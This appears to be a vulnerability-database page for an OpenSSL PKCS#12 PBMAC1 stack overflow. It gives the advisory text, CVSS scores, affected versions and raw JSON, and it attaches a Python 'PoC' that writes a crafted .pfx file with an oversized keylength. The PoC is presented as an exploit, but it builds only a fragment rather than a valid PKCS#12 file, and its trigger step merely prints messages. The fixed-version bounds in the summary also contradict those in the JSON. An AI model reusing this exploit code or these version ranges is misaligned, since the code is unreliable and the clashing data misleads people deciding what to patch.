Security Vulnerability Report
中文
CVE-2025-11187 CVSS 6.1 MEDIUM

CVE-2025-11187

Published: 2026-01-27 16:16:14
Last Modified: 2026-03-20 14:16:14

Description

Issue summary: PBMAC1 parameters in PKCS#12 files are missing validation which can trigger a stack-based buffer overflow, invalid pointer or NULL pointer dereference during MAC verification. Impact summary: The stack buffer overflow or NULL pointer dereference may cause a crash leading to Denial of Service for an application that parses untrusted PKCS#12 files. The buffer overflow may also potentially enable code execution depending on platform mitigations. When verifying a PKCS#12 file that uses PBMAC1 for the MAC, the PBKDF2 salt and keylength parameters from the file are used without validation. If the value of keylength exceeds the size of the fixed stack buffer used for the derived key (64 bytes), the key derivation will overflow the buffer. The overflow length is attacker-controlled. Also, if the salt parameter is not an OCTET STRING type this can lead to invalid or NULL pointer dereference. Exploiting this issue requires a user or application to process a maliciously crafted PKCS#12 file. It is uncommon to accept untrusted PKCS#12 files in applications as they are usually used to store private keys which are trusted by definition. For this reason the issue was assessed as Moderate severity. The FIPS modules in 3.6, 3.5 and 3.4 are not affected by this issue, as PKCS#12 processing is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5 and 3.4 are vulnerable to this issue. OpenSSL 3.3, 3.0, 1.1.1 and 1.0.2 are not affected by this issue as they do not support PBMAC1 in PKCS#12.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:* - VULNERABLE
OpenSSL 3.6.x < 3.6.5
OpenSSL 3.5.x < 3.5.4
OpenSSL 3.4.x < 3.4.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import struct # CVE-2025-11187 PoC - Malicious PKCS#12 file generator # This PoC generates a PKCS#12 file with oversized keylength in PBMAC1 def create_malicious_pkcs12(): """ Create a malicious PKCS#12 file with oversized PBMAC1 keylength to trigger stack buffer overflow in OpenSSL """ # ASN.1 structure for PKCS#12 with PBMAC1 # The keylength parameter is set to a value > 64 bytes malicious_keylength = b'\x02\x82\x01\x00' # INTEGER: 256 bytes (oversized) # Construct malicious PKCS#12 file # This is a simplified representation pkcs12_header = b'\x30\x82\x02\x00' # SEQUENCE # PBMAC1 parameters with oversized keylength pbmac1_params = ( b'\x30' # SEQUENCE + b'\x82\x00\x10' # salt OCTET STRING + malicious_keylength # Oversized keylength + b'\x02\x01\x01' # iteration count ) # Create the malicious PKCS#12 file malicious_file = pkcs12_header + pbmac1_params with open('malicious_pkcs12.pfx', 'wb') as f: f.write(malicious_file) print('[+] Malicious PKCS#12 file created: malicious_pkcs12.pfx') print('[+] keylength set to 256 bytes (buffer size is 64 bytes)') return 'malicious_pkcs12.pfx' def trigger_vulnerability(file_path): """ Simulate triggering the vulnerability In real scenario, use OpenSSL API to parse the file: PKCS12_parse(p12, password) or PKCS12_verify_mac(p12, password) """ print(f'[*] Attempting to parse malicious file: {file_path}') print('[*] This would trigger buffer overflow in OpenSSL') print('[*] Expected result: Stack corruption or NULL pointer dereference') if __name__ == '__main__': malicious_file = create_malicious_pkcs12() trigger_vulnerability(malicious_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11187", "sourceIdentifier": "[email protected]", "published": "2026-01-27T16:16:14.093", "lastModified": "2026-03-20T14:16:13.890", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Issue summary: PBMAC1 parameters in PKCS#12 files are missing validation\nwhich can trigger a stack-based buffer overflow, invalid pointer or NULL\npointer dereference during MAC verification.\n\nImpact summary: The stack buffer overflow or NULL pointer dereference may\ncause a crash leading to Denial of Service for an application that parses\nuntrusted PKCS#12 files. The buffer overflow may also potentially enable\ncode execution depending on platform mitigations.\n\nWhen verifying a PKCS#12 file that uses PBMAC1 for the MAC, the PBKDF2\nsalt and keylength parameters from the file are used without validation.\nIf the value of keylength exceeds the size of the fixed stack buffer used\nfor the derived key (64 bytes), the key derivation will overflow the buffer.\nThe overflow length is attacker-controlled. Also, if the salt parameter is\nnot an OCTET STRING type this can lead to invalid or NULL pointer\ndereference.\n\nExploiting this issue requires a user or application to process\na maliciously crafted PKCS#12 file. It is uncommon to accept untrusted\nPKCS#12 files in applications as they are usually used to store private\nkeys which are trusted by definition. For this reason the issue was assessed\nas Moderate severity.\n\nThe FIPS modules in 3.6, 3.5 and 3.4 are not affected by this issue, as\nPKCS#12 processing is outside the OpenSSL FIPS module boundary.\n\nOpenSSL 3.6, 3.5 and 3.4 are vulnerable to this issue.\n\nOpenSSL 3.3, 3.0, 1.1.1 and 1.0.2 are not affected by this issue as they do\nnot support PBMAC1 in PKCS#12."}, {"lang": "es", "value": "Resumen del problema: Los parámetros PBMAC1 en archivos PKCS#12 carecen de validación, lo que puede desencadenar un desbordamiento de búfer basado en pila, un puntero inválido o una desreferencia de puntero NULL durante la verificación MAC.\n\nResumen del impacto: El desbordamiento de búfer de pila o la desreferencia de puntero NULL pueden causar un fallo que lleve a una denegación de servicio para una aplicación que analiza archivos PKCS#12 no confiables. El desbordamiento de búfer también puede potencialmente permitir la ejecución de código dependiendo de las mitigaciones de la plataforma.\n\nAl verificar un archivo PKCS#12 que utiliza PBMAC1 para el MAC, los parámetros de sal y longitud de clave (keylength) de PBKDF2 del archivo se utilizan sin validación. Si el valor de la longitud de clave (keylength) excede el tamaño del búfer de pila fijo utilizado para la clave derivada (64 bytes), la derivación de clave desbordará el búfer. La longitud del desbordamiento es controlada por el atacante. Además, si el parámetro de sal no es de tipo OCTET STRING, esto puede llevar a una desreferencia de puntero inválido o NULL.\n\nLa explotación de este problema requiere que un usuario o aplicación procese un archivo PKCS#12 maliciosamente elaborado. Es poco común aceptar archivos PKCS#12 no confiables en aplicaciones, ya que generalmente se utilizan para almacenar claves privadas que son confiables por definición. Por esta razón, el problema fue evaluado como de severidad Moderada.\n\nLos módulos FIPS en 3.6, 3.5 y 3.4 no se ven afectados por este problema, ya que el procesamiento de PKCS#12 está fuera del límite del módulo FIPS de OpenSSL.\n\nOpenSSL 3.6, 3.5 y 3.4 son vulnerables a este problema.\n\nOpenSSL 3.3, 3.0, 1.1.1 y 1.0.2 no se ven afectados por este problema, ya que no soportan PBMAC1 en PKCS#12."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.4", "matchCriteriaId": "B9D3DCAE-317D-4DFB-93F0-7A235A229619"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.5.0", "versionEndExcluding": "3.5.5", "matchCriteriaId": "1CAC7CBE-EC03-4089-938A-0CEEB2E09B62"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.6.0", "versionEndExcluding": "3.6.1", "matchCriteriaId": "68 ... (truncated)